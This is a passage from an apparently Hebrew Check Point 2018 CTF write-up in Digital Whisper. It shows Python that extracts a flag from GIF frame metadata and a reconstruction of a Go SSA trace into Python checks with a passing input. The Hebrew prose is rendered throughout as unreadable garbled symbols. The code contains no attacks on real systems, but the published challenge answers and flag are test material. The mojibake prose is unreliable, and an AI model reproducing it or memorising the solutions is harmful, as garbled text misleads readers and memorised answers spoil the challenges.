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¶ isup ,˞ˣˢ˷ ˧ˮ˞˧˪ˣ˟ ,˶˸˯ˣˬ ˨ˣ˸˟ ˸ˣ˧ˠˣˤˢ ˪˷ idx )˧ˠˣˤ -< ˸ˣ˞ ˢˮ˦˵ ,˧˞-˧ˠˣˤ -< ˸ˣ˞ ˢ˪ˣˡˠ.( 

¶ mpindex ˥˪˷ˮ ˪-m ˢ˞˴ˣ˸ˢˣ ˸˥˪˷ˮ ˪-Q. 

 ˸˧˧˴˵ˮˣ˲m  ˸˧˧˴˵ˮˣ˲ ˤ˞ˣ ,˸ˣ˧˴˪ˣ˲˧ˮˬ ˶˲˯ˬ ˸ˣ˰˴ˬ˞˟ ˨˶˰ˢ ˸˞ ˢ˶˧˸˯ˬQ  ˨ˣ˸ ˪˞ ˢ˞˴ˣ˸ˢ ˸˞ ˸˟˸ˣ˩

 ˧˶˥˞ ˡ˧ˬ ˢˮˣˬ˸ˢmagic number: 

buf . write ( ' \ x21 \ xF9 \ x04 \ x05' )  

 ˢ˪˧˰˲ˢ˷ ˸˞ˤ˪ ˢ˩ˣ˲ˢ ˢ˵˧ˠˣ˪ ˪˧˰˲ˮ ˦ˣ˷˲ ,˫˧˧˶ˣ˵ˬˢ ˫˧˩˶˰ˢ ˸˞ ˞ˣ˴ˬ˪ ˧ˡ˩ ,˭˩˪m: 

import  struct ,  sys  

 

s = "{UFKRAYWS}TLMGI!EO_H" 

 

with  open ( r"secret.gif" ,  "rb" )  as  f :  

    content = f . read ()  

    location = 0 

    indices = []  

    while  True :  

        location = content . find ( b' \ x21 \ xF9 \ x04 \ x05' ,  location +1)  

        if  location == - 1:  

            break  

         

        ( header ,  delay ,  tidx ,  zero ,  h2c ,  x,  y,  w,  h,  zero2 )  = 

struct . unpack_from ( b'<IHBBBHHHHB' ,  content ,  location )  

        print  ( "{:02X}, {:02X}, {:02X}, {:02X}" . format ( x,  y,  w,  h))  

        #print ("{:02X}, {:02X}, {:02X}, {:02X}, {:02X}, {:02X}, {:02X},  {:02X}, 

{:02X}, {:02X}".format(header, delay, tidx, zero, h2c, x, y, w, h, zero2))  

        if  x == 0 and  y == 0:  

            mpindx = w *  h 

        elif  x == 0 and  y == 1:  

            mpindx = h >> 2 

        elif  x == 1:  

            mpindx = y >> 1 

        else :  

            print  ( "!!!!" )  

        print  ( mpindx )  

        indices . append (( mpindx ,  tidx % 2 == 0))  

 

        print  ( " \ n" )  

 

    for  mpindx ,  isup in  indices :  

        c = s[ mpindx ]  if  not  isup else  s[ mpindx ]. lower ()  

        sys . stdout . write ( c)  

:˪˟˵ˮˣ ˳˧˶ˮ 

flag { thIs_mushRooM_w ! lL_maKe_you_tAlLer }  
  



 
 

˧˶ˠ˸˞ Check Point 2018 

www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ100 , ˶˟ˬ˟ˣˮ2018  98 
 

˶ˠ˸˞ 12: Trace me if you Can )˸˧˧˶ˣˠ˦˵ Surprise ,150 ˸ˣˡˣ˵ˮ( 

:˶ˠ˸˞ˢ ˶ˣ˞˧˸ 

Hi There, 
We've been working on this one for a while now. This machine spits out the flag when given the right 
input. We're not sure what the input should be but we managed to get this weird looking trace. Our best 
minds spent days, but we still can't figure it out! 
35.194.63.219:2005  
Please help us 

 ˪˧˩ˢ ˳˟ˣ˵˪ ˶ˣ˷˧˵ˢTrace  ˠˣ˯ˬ ˫˧˧ˮ˧˟ ˠˣ˴˧˧˟SSA )Static single assignment form ˢˤ ˢˬ ˶˧˟˯ˮ ˡ˧ˬ .(

 ˪˩ˢ ˧ˮ˲˪ ˪˟˞ ,˶ˬˣ˞-  ,˧˸˶˟˰˷ ˫˧˟˪˷ˢ ˸˞ ˶˧˟˯˞ ˧ˮ˞ ,˭˩˪ .ˢ˪˟˵˸ˢ ˞˪ ˧˪˷ ˢ˟ˣ˷˸ˢ ˢˤˢ ˶ˠ˸˞˟

 ˫˰ ˧˸˴˰˧˧˸ˢ ˶ˠ˸˞ˢ ˨˪ˢˬ˟˷ ˢˡˣ˞ ˡˣ˰ .˪˵˷˪ ˷ˣ˶ˠ ˢ˲ ˶˯˥ ˢ˧ˢ˧ ˭˧˧ˡ˰ ˪˟˞YaakovCohen88 ˬ-

JCTF. 

 ˢ˞˴ˣ˸ˢ ˪˞ ˰˧ˠˬ ˞ˣˢ˷ ˡ˰ ˫˧˧ˮ˧˟ ˧˟˪˷ ˶˲˯ˬ ˨˶ˡ ˶ˣ˟˰˪ ˪ˣ˩˧ ˶˪˧˧˲ˬˣ˵ˢ ,ˢˮ˩ˣ˸ ˫˧˪˲ˬ˵ˬ ˶˷˞˩

 .(ˢˮˣ˩ˬ ˡˣ˵ :˪˷ˬ˪) ˣ˪˷ ˸˧˲ˣ˯ˢSSA ˟˪˷ ˞ˣˢ- ˢˬ˷ˢ ˪˟˵ˬ ˢˮ˸˷ˬ ˪˩˷ ˨˩˟ ˭˧˧˲˞˸ˬ˷ ,ˢˤ˩ ˫˧˧ˮ˧˟

 .ˣ˟ ˫˧˷ˬ˸˷ˬ˷ ˧ˮ˲˪ ˶ˡˠˣˬ ˢˮ˸˷ˬ ˪˩ˣ ,ˡ˟˪˟ ˸˥˞ ˫˰˲ 

˥ ˪˧˩ˢ ˳˟ˣ˵ˢ˷ ˟˪ ˫˧˷˪ ˟ˣ˷Trace ˟ ˢˮ˩ˣ˸ ˪˷ ˢ˧˴˪˧˲ˬˣ˵ ˪˷ ˠˣ˴˧˧ ˞˪ˣ ,ˢˤˢ ˦ˬ˶ˣ˲˟ ˢ˴˧˶ ˪˷-SSA .

 ˫˧˲˷˥ˮ ˣˮ˥ˮ˞ ˪˰ˣ˲˟˷˩ ,˫˧˧ˣ˯ˬ ˦˪˵ ˪˰ ˢˮ˩ˣ˸ ˪˷ ˸ˬ˧˧ˣ˯ˬ ˢ˴˧˶ ˞˪˞ ,ˢ˞˪ˬ ˢˮ˩ˣ˸ ˣˮ˪˟˧˵ ˞˪ ,˶ˬˣ˪˩

ˣ˞˶˵ˮ ˞˪˷ ˸ˣ˧˴˵ˮˣ˲˪ ˫˧˲˷˥ˮ ˣˮˮ˧˞ .ˣˤˢ ˸ˬ˧˧ˣ˯ˬˢ ˢ˴˧˶˟ ˣ˴˶ ˭˩˞˷ ˸ˣˡˣ˵˲˪ ˵˶ˣ ˨˞ ˞˪˷ ˫˧˞ˮ˸ ,

.'ˣ˩ˣ ˣˬ˧˧˵˸ˢ 

˩ ˪˧˩ˢ ˳˟ˣ˵ˢ-190,000 :(˶ˣ˵ˬ˟ ˸ˣ˶˰ˢˢ) ˶˴˵ ˰˦˵ ˱˶˴ˮ ˞ˬˠˣˡˢ ˫˷˪ ˨˞ ,˸ˣ˶ˣ˷ 

Starting  main.kendrick at 

/home/gull.omer/go/src/omer/ssa/omerr/version1/ssa.go:238:6.  

.0:  

     t0  = len(a)  

     jump  1 

.1:  

     t1  = phi [0: 0:int, 2: t7] #damn  

     t2  = phi [0: - 1:int, 2: t3]  

     t3  = t2 + 1:int  

     t4  = t3 < t0  

     if  t4  goto  2 else 3  

.2:  

     t5  = &a[t3]  

     t6  = * t5  

     t7  = t1 + t6  

     jump  1 

.1:  

     t1  = phi [0: 0:int, 2: t7] #damn  

     t2  = phi [0: - 1:int, 2: t3]  

     t3  = t2 + 1:int  

     t4  = t3 < t0  

     if  t4  goto  2 else 3  

.3:  

     return  t1  

Returning  from main.kendrick, proceeding main.main at 

/home/gull.omer/go/src/omer/ssa/omerr/version1/ssa.go:306:21.  

https://twitter.com/YaakovCohen88
https://writeups.nmontag.com/
https://writeups.nmontag.com/
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 ˫˷˟ ˢ˧˴˵ˮˣ˲ ˪˷ ˢ˴˧˶ˢ ˸˞ ˠ˴˧˧ˬ ˢˤˢ ˰˦˵ˢKendrick ˫˷˟ ˢˮ˸˷ˬ ˸˪˟˵ˬ ˞˧ˢ .a ˣ˧˪˞ ˸˯˥˧˧˸ˬˣ ,

 .˨˶˰ˬ˩ 

" ˭ˣˠ˩ "˸ˣ˧ˣˣ˸" ˪˷ ˸ˣ˶ˡˠˢ ˸ˣ˞˶˪ ˭˸˧ˮ ,ˡˣ˵ˢ ˨˶ˣ˞˪.0:" ,".1: ˪˷ ˢ˴˧˶ˢ ˪ˣˢ˧ˮ˪ ˸ˣ˷ˬ˷ˬ ˣ˪˞ ˸ˣ˧ˣˣ˸ .'ˣ˩ˣ "

 ˪˞ ˢ˴˧˲˵ ˤ˞ˣ ˧˞ˮ˸ ˸˵˧ˡ˟ ˪ˣ˪˩˧ ˢ˞˪ˣ˪ ˪˷ ˪ˣˢ˧ˮ ,˪˷ˬ˪ .ˢ˧˴˵ˮˣ˲ˢ ˢ˶˵ˬ˟ ˢ˞˪ˣ˪ˢ ˭˩ˣ˸ ˪˷ ˸˧ˣˣ˸

 ˣˮ˥ˮ˞˷ ˢˬ ˵ˣ˧ˡ˟ ˢˤ ,ˢ˷˰ˬ˪ .˶˥˞ ˢ˶˵ˬ˟ ˢ˞˪ˣ˪ˢ ˧˶˥˞˷ ˢ˵˧ˠˣ˪ˢ ˪˷ ˸˧ˣˣ˸ˢ ˪˞ ˢ˴˧˲˵ ˣ˞ ,ˡ˥˞

˟ ˫˧˞ˣ˶-Kendrick - " ˸˧ˣˣ˸ˢ1" ˸˧ˣˣ˸ˢ ,ˢ˞˪ˣ˪ˢ ˧˞ˮ˸ ˸˵˧ˡ˟ ˞˧ˢ "2" ˸˧ˣˣ˸ˢˣ ˢ˞˪ˣ˪ˢ ˭˩ˣ˸ ˞˧ˢ "3 ˞˧ˢ "

 ˫˰˲ ˢ˴˶ ˢ˞˪ˣ˪ˢ ,ˣˤˢ ˢ˴˧˶˟ .ˢ˞˪ˣ˪ˢ ˧˶˥˞˷ ˢ˵˧ˠˣ˪ˢ .ˢ˸˪ˣ˰˲ ˸˞ ˢˬ˧˧˯ ˤ˞ˣ ˞˪ˬ ˭˲ˣ˞˟ ˸˥˞ 

 

˪ ˫ˣˠ˶˸˟-Python:˪ (ˢ˞˶ˮ˩) ˢ˪ˣ˵˷ ˢ˧˴˵ˮˣ˲ˢ , 

def  kendrick ( a):  #sum 

    damn = 0 

    t2 = - 1 

    while  ( t2 + 1 < len ( a)):  

        damn += a[ t2 + 1]  

        t2 += 1 

    return  damn 

 ˢ˦˧˷˟ ˧˸ˡ˟˰ ,ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˫ˠ˶˸˪ ˸ˮˬ ˪˰.˫ˣ˴ˬ˴ ˪˷ ˸˧˟˧˦˶˦˧˞ 

:˭ˣ˷˞˶ˢ ˟˪˷ˢ 

.0:  

     t0  = len(a)  

     jump  1 

.1:  

     t1  = phi [0: 0:int, 2: t7] #damn  

     t2  = phi [0: - 1:int, 2: t3]  

     t3  = t2 + 1:int  

     t4  = t3 < t0  

     if  t4  goto  2 else 3  

.2:  

     t5  = &a[t3]  

     t6  = * t5  

     t7  = t1 + t6  

     jump  1 

.1:  

     t1  = phi [0: 0:int, 2: t7] #damn  

     t2  = phi [0: - 1:int, 2: t3]  

     t3  = t2 + 1:int  

     t4  = t3 < t0  

     if  t4  goto  2 else 3  

.3:  

     return  t1  
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:˞˟ˢ ˟˪˷˟ 

.1:  

     t1  = phi [0: 0:int, 2: t7] #damn  

     t2  = phi [0: - 1:int, 2: t3]  

     t3  = t2 + 1:int  

     t4  = t3 < len(a)  

     if  t4  goto  2 else 3  

.2:  

     t6  = * &a[t3]  

     t7  = t1 + t6  

     jump  1 

.1:  

     t1  = phi [0: 0:int, 2: t7] #damn  

     t2  = phi [0: - 1:int, 2: t3]  

     t3  = t2 + 1:int  

     t4  = t3 < len(a)  

     if  t4  goto  2 else 3  

.3:  

     return  t1  

 ˠˣ˯ˬ ˫˧ˮ˸˷ˬphi ˨˶˰ˢ ˫˧˟˶ ˫˧˶˵ˬ˟ .˶˥˞ ˨˶˰ ˫˧ˬ˰˲˪ˣ ˡ˥˞ ˨˶˰ ˫˧ˬ˰˲˪ ˫˧˪˟˵ˬ˷ ˢ˪˞˩ ˫ˢ 

.ˢ˴˧˶ˢ ˨˶˰ ˞ˣˢ ˧ˮ˷ˢ ˨˶˰ˢˣ ˧˸˪˥˸ˢ ˨˶˰ ˞ˣˢ ˭ˣ˷˞˶ˢ 

:˭˩˪ 

damn = 0 # a.k.a. t1, a.k.a. t7  

i  = - 1 # a.k.a. t2, a.k.a. t3  

.1:  

        i  = i + 1 

     if  i < len(a)  goto  2 else 3  

.2:  

     damn = damn + a[i]  

     jump  1 

.1:  

        i  = i + 1 

     if  i < len(a)  goto  2 else 3  

.3:  

     return  t1  

˟ ˣˮ˧˞˶˷ ˢ˞˪ˣ˪˪ ˰˧ˠˢ˪ ˢ˷˵ ˞˪ ˫˷ˬˣ-Python. ˢ ˸˞ ˧˸ˬˠ˶˸ ,ˣˤˢ ˢ˵˧ˠˣ˪ˢ ˸ˣ˰˴ˬ˞˟-Trace :ˣ˪ˣ˩ 

class  TraceException ( Exception ):  

    pass  

 

def  guru ( a,  b):  # Max  

    if  a > b:   

        return  a  

    else :  

        return  b 

 

def  andre ( a,  b):  # Multiply  

    t10 = [ 0]  *  ( len ( a)  + len ( b))  

 

    for  i in  range ( len ( b)):  

        for  j in  range ( len ( a)):  
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            t10 [ i + j ]  += ( a[ j ]  *  b[ i ])  

 

    t21 = len ( t10 [: len ( t10 )  -  1])  

    for  i in  range ( t21 ):  

        if  ( t10 [ i ]  >= 10):  

            t10 [ i + 1]  += ( t10 [ i ]  //  10)  

            t10 [ i ]  = t10 [ i ]  % 10 

 

    return  t10  

 

def  rakim ( a,  b):  

    if  ( doom( a,  b)  == - 1):  

        raise  TraceException ( "1" )  

    else :  

        t5 = [ None]  *  len ( a)  

        for  i in  range ( len ( a)):  

            a_i = 0 

            b_i = 0 

            #3 

            if  i < len ( a):  

                #6 

                a_i = a[ i ]  

            #7 

            if  i < len ( b):  

                #8 

                b_i = b[ i ]  

            #9 

            if  a_i < b_i :  

                #10  

                raise  TraceException ( "2" )  

            else :  

                #11  

                t5 [ i ]  = a_i -  b_i  

                 

 

        #4 

        return  t5  

 

def  doom( aa,  bb):  # Compare  

    """  

    ii = len(aa) // 2  

    while(ii >= 1):  

        if aa[ii] == 0:  

            aa[ii] = 0  

        else:  

            ii - = 1  

    """  

 

    i = len ( aa)  -  1 

    m = []  

    while  ( i >= 0):  

        if  aa[ i ]  > 0:  

            m = aa[: i + 1]  

            break  

        else :  

            i - = 1 

 

    i = len ( bb)  -  1 

    f = []  
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    while  ( i >= 0):  

        if  ( bb[ i ]  > 0):  

            f = bb[: i + 1]  

            break  

        else :  

            i - = 1 

 

    """  

    i = len(aa) -  1 

    while(i >= 0):  

        if aa[i] > 0:  

            t43 = 0 + aa[i]  

    """  

 

    if  ( len ( m)  > len ( f )):  

        return  1 

    if  ( len ( m)  < len ( f )):  

        return  - 1 

 

 

    i = len ( m)  -  1 

    #27  

    while ( i >= 0):  

        #25  

        if  m[ i ]  > f [ i ]:  

            #28  

            raise  TraceException ( "3" )  

        else :  

            #29  

            if  m[ i ]  < m[ i ]:  

                #30  

                raise  TraceException ( "4" )  

            else :  

                #31  

                i - = 1 

    #26  

    return  - 2 

 

def  gza ( a,  b):  # Add  

    t2 = guru ( len ( a),  len ( b))  

    t4 = [ None]  *  ( t2 + 1)  

    r = rakim ( a,  [ 0])  

    d = doom( a,  r )  

    if  d !=  - 2:  

        raise  TraceException ( "5" )  

 

    wu = 0 

    for  i in  range ( len ( t4 )):  

        #4 

        if  i < len ( a):  

            #6 

            t19 = a[ i ]  

        else :  

            t19 = 0 # ?  

        #7 

        a_i = t19  

        if  ( i < len ( b)):  

            #8 

            t24 = b[ i ]  
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        else :  

            t24 = 0 # ?  

        #9 

        b_i = t24  

        t27 = a_i + b_i + wu 

        wu = t27 //  10 

        if  t27 >= 10:  

            #10  

            raise  TraceException ( "6" )  

        else :  

            #11  

            tmp = t27  

            t4 [ i ]  = tmp  

    #5 

    return  t4  

 

 

 

def  nas ( a):  # ATOI  

 

    #t5 = [0] * ( (len(a) // 2) + (len(a) // 2) )  

    t5 = []  

 

    z = 0 

    msg = t5  

    i = len ( a)  -  1 

    while ( i >= 0):  

        t10 = ord ( a[ i ])  -  48 

        if  ( t10 >= 0)  and  ( t10 < 10):  

            z += t10  

            msg. append ( guru ( t10 ,  0))  

 

        if  ( z == 1024 ):  

            raise  TraceException ( "7" )  

        else :  

            i - = 1 

     

    return  msg 

 

 

def  kendrick ( a):  # Sum 

    damn = 0 

    t2 = - 1 

    while  ( t2 + 1 < len ( a)):  

        damn += a[ t2 + 1]  

        t2 += 1 

    return  damn 

 

###################  

 

def  main ( my_input ):  

 

    t8 = my_input  

    t11 = t8 . split ( " " )  

    print  ( "Input length: {}" . format ( len ( t11 )))  

    t13 = [ None]  *  len ( t11 )  

 

    for  i in  range ( len ( t11 )):  

        t13 [ i ]  = int ( t11 [ i ])  
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    t27 = andre ([ 1],  [ 0,  1])         # 10 * 1  

    t32 = gza ([ 0,  2],  t27 )           # + 20  

    t37 = gza ([ 0,  2],  t32 )           # + 20  

    t42 = andre ([ guru ( 2,  1)],  t37 )   # * 2  

    t45 = nas ( str ( len ( t13 )))         #  

    t46 = doom( t45 ,  t42 )             # == 100?  

    if  t46 !=  - 2:  

        raise  TraceException ( "8 -  Input Length != 100" )  

     

    for  i in  range ( len ( t13 )):  

        if  t13 [ i ]  <= 0:  

            raise  TraceException ( "9 -  Non- Positive Member!" )  

 

    t58 = [ None]  *  ( len ( t13 )  //  2)  

 

    for  i in  range ( len ( t58 )):  

        t58 [ i ]  = t13 [ i *  2]  -  t13 [( i *  2)  + 1]  

 

    for  i in  range ( len ( t58 )):  

        t80 = nas ( str ( kendrick ( t58 [: i + 1])))  

        t84 = doom( t80 ,  [ 0])  

        if  t84 == - 1:  

            raise  TraceException ( "10" )  

 

    o_su = 0 

    e_su = 0 

    for  i in  range ( 0,  len ( t13 )  -  1,  2):  

        e_su +=  t13 [ i ]  

        o_su +=  t13 [ i + 1]  

 

    if  o_su !=  e_su :  

        raise  TraceException ( "11 -  o_su != e_su ({} != {})" . format ( o_su ,  

e_su ))  

 

    u_arr = []  

    x = 0 

    for  i in  range ( len ( t13 )):  

        if  x < len ( u_arr ):  

            raise  TraceException ( "12" )  

 

 

    if  t13 [ 49]  !=  102 :  

        raise  TraceException ( "13 -  t13[49] != 102" )  

 

    if  t13 [ 4]  -  t13 [ 5]  !=  t13 [ 8]:  

        raise  TraceException ( "14 -  t13[4] -  t13[5] != t13[8]" )  

 

 

if  __name__ == "__main__" :  

    input_arr = (  [ 1,  1,  1,  1,  5,  2,  1,  1,  3]  + ([ 1]  *  40)  + [ 102 ,  102 ]  

+ ([ 1]  *  47)  + [ 1,  6]  )  

    input_str = ' ' . join ([ str ( num)  for  num in  input_arr ])  

    print  ( input_str )  

 

    main ( input_str )  
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˸ˣˡˣ˵ˮ ˸ˣ˧ˣ˞˶ ˭ˣ˧˴˪: 

¶  ,ˢ˩ˣ˶˞ ˸ˤˣ˶˥ˬ ˪˷ ˦˪˵ ˸˪˟˵ˬ ˢˮ˩ˣ˸ˢ ˶˲˯ˬ˩ ˶˟˧˞ ˪˩˪ ˸˯˥˧˧˸ˬ ,˫˧˥ˣˣ˶ ˧˲˪ ˣ˸ˣ˞ ˸˪˴˲ˬ

.˷˞˶ˬ ˣ˶ˡˠˣˢ˷ ˫˧˪˪˩˪ ˫˧˞˸ˬ ˫˧˶˲˯ˬˢ ˨˶˰ˬ˷ ˸˵ˡˣ˟ˣ 

¶  ˧˸˵˶ˤ ˧˪˷ ˷ˣˬ˧ˬ˟ .˪ˠˡ ˢˬ˧˶ˢ ˸˧˶ˣ˵ˬˢ ˢˮ˩ˣ˸ˢ ,˶˲ˣˬ ˫˧˪˪˩ˢ ˡ˥˞ ˶˷˞˩Exception ,˭˩ ˣˬ˩ .

 ˵ˣ˶ˤ˪ ˧˸˶˥˟Exception ˢˬ ˢ˶˯˥ ˢ˸˧˧ˢ ˢ˵˧ˠˣ˪ˢ ˶˷˞˩-Trace ˢ ˞˪ ˫˪ˣ˰ˬ˷ ˧˞ˮ˸ :˪˷ˬ˪) ˷ˬˬ˸

.(ˢ˴˧˶˟ 

¶  ˶˲˯ˬˢ ,˪˷ˬ˪ .˨ˣ˲ˢ ˨˶˰ˬ ˶ˣ˸˟ ˫˧˶˲˯ˬ ˸ˠ˴˧˧ˬ ˢˮ˩ˣ˸ˢ10  ˶ˣ˸˟ ˠ˴ˣ˧ˬ[0, 1] ˶ˤ˰ˢ ˸ˣ˧˴˵ˮˣ˲ .

 ˪˲˩ ,˶ˣ˟˧˥ ˸ˬˠˣˡ˩ ,ˢˤ ˠˣ˴˧˧˟ ˫˧˶˲˯ˬˢ ˪˰ ˸ˣ˧˯˧˯˟ ˸ˣ˧˦ˬ˸ˬ ˸ˣ˪ˣ˰˲ ˰ˣ˴˧˟˪ ˸ˣ˷ˬ˷ˬ ˢˮ˩ˣ˸ˢ ˪˷

.ˢ˞ˣˣ˷ˢˣ 

¶ ˸˟ ˡˣ˵ˢ ˰˦˵ ˸ˬˠˣˡ˩ ,˸ˣ˰ˬ˷ˬ ˭ˢ˪ ˭˧˞˷ ˸ˣ˪ˣ˰˲ ˢ˰˴˧˟ ˢˮ˩ˣ˸ˢ ˫˧˸˧˰˪ ˸˧˧˴˵ˮˣ˲ ˸˪˧˥doom 

 .(ˢ˶˰ˢ˩ ˡˣ˵ˢ ˸˞ ˧˸˶˞˷ˢ ˪˷ˬ˪ ˢˤ ˢ˶˵ˬ˟) 

¶ :˸˲˩ˣ˞ ˢˮ˩ˣ˸ˢ˷ ˫˧˪˪˩ˢ 

o  ˸ˣ˧ˢ˪ ˨˧˶˴ ˦˪˵˟ ˫˧˶˟˧˞ˢ ˶˲˯ˬ100 

o ˫˧˧˟ˣ˧˥ ˸ˣ˧ˢ˪ ˫˧˩˧˶˴ ˫˧˶˟˧˞ˢ ˪˩ 

o ˧˞ˢˣ ˫˧˧ˠˣˤˢ ˸ˣˬˣ˵ˬ˟ ˫˧˶˟˧˞ˢ ˫ˣ˩˯-ˢˣˣ˷ ˸ˣ˧ˢ˪ ˨˧˶˴ ˫˧˧ˠˣˤ 

o ˢ ˶˟˧˞ˢ-49  ˸ˣ˧ˢ˪ ˨˧˶˴102 

o ˧ˬ˥ˢ ˶˟˧˞ˢ ˸ˣ˥˲ ˧˰˧˟˶ˢ ˶˟˧˞ˢˢ ˶˟˧˞˪ ˢˣˣ˷ ˸ˣ˧ˢ˪ ˨˧˶˴ ˧˷-13 

o ˟ ˫˧ˬ˧˧˵˷ ˫˧˞ˮ˸ˢ ˶˞˷-main  ˸ˣ˧˴˵ˮˣ˲ ˪˷ ˷ˣˬ˧ˬˢ ˸ˣ˪˟ˠˬ ˟˵˰ ˶˞˷ˢ ˭˧˟ ,ˡ˧ˬ˸ ˫˧˷ˬˬ˸ˬ

(˧˸ˮ˟ˢ ˟˦˧ˬ ˧˲˪) ˶ˤ˰ˢ 

 ˫˧ˣ˯ˬ ˟˪˷˟ .ˣ˪˪ˢ ˫˧˪˪˩˪ ˣ˸˧˧˴˷ ˫˧˦˪˵ ˪˟˵˪ ˫˧˩˯ˢ ˞˪ ˶ˠ˸˞ˢ ˪˷ ˸˶˷ˢ ,˶˰˴ˢ ˢ˟˶ˬ˪ ,˪˰ˣ˲˟

 ˧˸˶˴˧˧KeyGen  ˦˪˵˟ ˭˧˵˸ ˞˪ ˣˢ˷ˬ˷ ˢ˶˵ˬ˪ ,ˢ˯ˮˬ ˧ˮ˞˷ ˫˧˦˪˵˟ ˧ˢ˷˪˩ ˸ˣˮˣ˷ ˶˴˧˧˪ ˢˣˣ˵˸˟

 ˣ˞ ,ˣˢ˷˪˩ ˧˞ˮ˸ ˶˯˥˷ ˢ˞˶ˮ˩ ˭˩˪ .ˢ˟ˣ˷˸ˢ ˸˞ ˸ˣ˥ˡ˪ ˨˧˷ˬˢ ˸˶˷ˢ ˫˪ˣ˞ ,˸˧ˮˡ˧ ˧˸˶˴˧˧˷ ˧˲˧˴˲˯ˢ

˟ ˸˲˵˸˷ˬ˷ ˢ˵˧ˠˣ˪ˢ ,˭˩ ˧˲ ˪˰ ˱˞ˣ .˧˪˷ ˷ˣˬ˧ˬ˟ ˧ˢ˷˪˩ ˢ˧˰˟ ˸ˬ˧˧˵-Reversing ˢ ˪˷-Trace  ˸˶ˡ˸˯ˬ

˶ˠ˸˞ˢ ˠˣ˯ ˫˰  ˢ˟ˣ˷˸ˢˬ ˧ˡˬ ˵ˣ˥˶ ˧˸˧˧ˢ ˞˪˷ ˭˧ˬ˞ˬ ˧ˮ˞ ˭˩˪ˣ ,ˢ˟ˣ˦ ˸˧˯˥˧ ˢ˶ˣ˴˟ ˣ˧ˡ˥˧ ˢˬ˧˞˸ˬˣ

.ˢˮˣ˩ˮˢ 
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˸ˣ˪˧ˬ ˫ˣ˩˧˯ 

˸˧ˮˢˮ˷ ˸ˣˡˣˢ˪ ˟˧˧˥ ˧ˮ˞ ,˪˩ˢ ˨˯˟ ˧˪ˣ˥˩ ˫˧˶ˠ˸˞ ˪˷ ˡˮ˶˦ˢ˷ ˸ˣ˞˶˪ ˥ˬ˷ ˧ˮ˞ˣ ,˶ˠ˸˞ˢˬ ˡˣ˞ˬ- ˭˟˪

.˸ˣˮˣ˶˥˞ˢ ˫˧ˮ˷˟ ˢ˴ˣ˞˸ ˯˲ˣ˸  ˭ˣˣˠˬ˟ ˫˧˟˪˷ ˪˷ ˸˧˯˥˧ ˟˶ ˶˲˯ˬ ˪˪˩ ˢˤˢ ˶ˠ˸˞ˢ ˫˧ˮˣ˷ ˫˧˞˷ˣˮ

.˶˸ˣ˧ ˫˧˯ˣˮˬ ˫˧˲˸˸˷ˬ˪ ˭ˢˣ ˫˧˪˧˥˸ˬ˪ ˭ˢ ˫˧˞˸ˢ ˞ˣˢ˷ ˨˩ ,˸ˣˮˣ˷ ˧˷ˣ˵ ˸ˣˬ˶˟ˣ 

ˢ ˨˪ˢˬ˟ ˧˩ ˧˪ˣ˞ ,˪ˤ˞˲ˢ ˟˪˷ ˢ˧ˢ ˧ˮ˧˰˟ ˶˸ˣ˧˟ ˢˮˢˬˢ ˟˪˷ˢ-Day Job ) ˧˪˷Embedded C ˞˪˷ ˫˧ˠˢˣˮ (

˪˴ˬ˷ ˡˡˣ˟ ˡ˰˴ ˪˷ ˭ˣ˶˸˲˟ ˫ˣ˯˵ ˣˢ˷ˬ ˷˧ ˧˩ ˧˪ˣ˞ˣ (˶ˬˠ˸ ˸˧ˮ˯˥ˬˢ˷ ˷˷˥ˬ) ˢ˧˯˶ˣ˵˶˟ ˷ˬ˸˷ˢ˪ ˥˧

.ˡ˟ˣ˰ ˦ˣ˷˲ ˢˤ˷˩ ˰˸˲ˣˬ ˸˴˵ ˭˧˧ˡ˰ ˧ˮ˞˷ ˟˷ˣ˥ ˧ˮ˞ .ˢˬ˪˷ ˢ˧˰˟ ˫˰ ˡˡˣˬ˸ˢ˪ 

˧˪˞ˣ˦˶˧ˣˣˢ ˢˮˣ˩ˬˢ ,˭ˣ˪˧ˬˢ) ˶˸ˣ˧ ˫˧ˬˡ˵˸ˬˢ ˫˧˟˪˷ˢ ˶˞˷ ˫ˠ sx˸ˢ˧˲˶ˠˣˮˠ˦˯.ˢ˲˧ ˢ˰˵˷ˢ ˣ˩˧˶˴ˢ ( 

ˠˮ˧˲ˢ ˟˪˷ ˢ˸˧˧ˢ ˶˸ˣ˧˟ ˢ˪ˣˡˠˢ ˢ˟ˤ˩˞ˢ ,ˡˠˮˬ- ˢ˶ˤ˥ ˥ˣ˪˷˪ ˶˷˞ˬ ˶˸ˣ˧ ˪ˣ˪˩˧ ˞ˣˢ˷ ˧˸˧ˣˣ˧˵ ,ˠˮˣ˲

˵˸ˢ˷ ˶˲˯ˬ .˸˶˷ˢˬ ˪˟ 

) ˶ˠ˸˞˟ ˭ˣ˶˥˞ˢ ˟˪˷˟άTrace me if you canέ ˧˸˥˪˴ˢ ˞˪ ˧˶˰˴˪ ˨˞ ,˸ˣ˰˷ ˧˟ˠ ˪˰ ˸ˣ˰˷ ˧˸˰˵˷ˢ (

 ˥˧ˮˬ ˧ˮ˞) ˣ˸ˣ˞ ˶ˣ˸˲˪ ˥˧˪˴ˢ ˣˢ˷˧ˬ ˫˞ ˸ˣ˞˶˪ ˭˧˧ˮ˰ˬ ˢ˧ˢ˧ .˫ˣ˥˸˟ ˫˧˶˥˞ˬ ˧˸˰ˬ˷ ˫ˠ ˨˩ˣ ,ˣ˸ˣ˞ ˶ˣ˸˲˪

.ˢ˧˪˞ ˧˸˰ˠˢ˷ ˢ˵˧ˠˣ˪ˢˬ ˢ˧ˢ ˭ˣ˶˸˲ˢ ˵ˣ˥˶ ˢˬ˩ˣ (˭˩˷ 

 ˢˣˣ˵ˬ ˡˣ˞ˬ ˧ˮ˞ ˢˮˢˬ ˶ˠ˸˞ ˪˰ ˫˧˶˴ˣ˧˪ ˡˣ˟˩ˢ ˪˩ ,˸ˣ˟ˣ˶˵ˢ ˫˧ˮ˷˟ ˫˧ˬˣˡ ˫˧˶ˠ˸˞ ˸ˣ˞˶˪ ˨˧˷ˬˢ˪

.˰˵˷ˣˬˣ 
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DNS Spoofing ,HSTS ,Traceroute ˢˬˣ ˫ˢ˧ˮ˧˟˷ 

˸˞ˬ ˶ˬˣ˰ ˣ˪˷ 

 

ˢˬˡ˵ˢ 

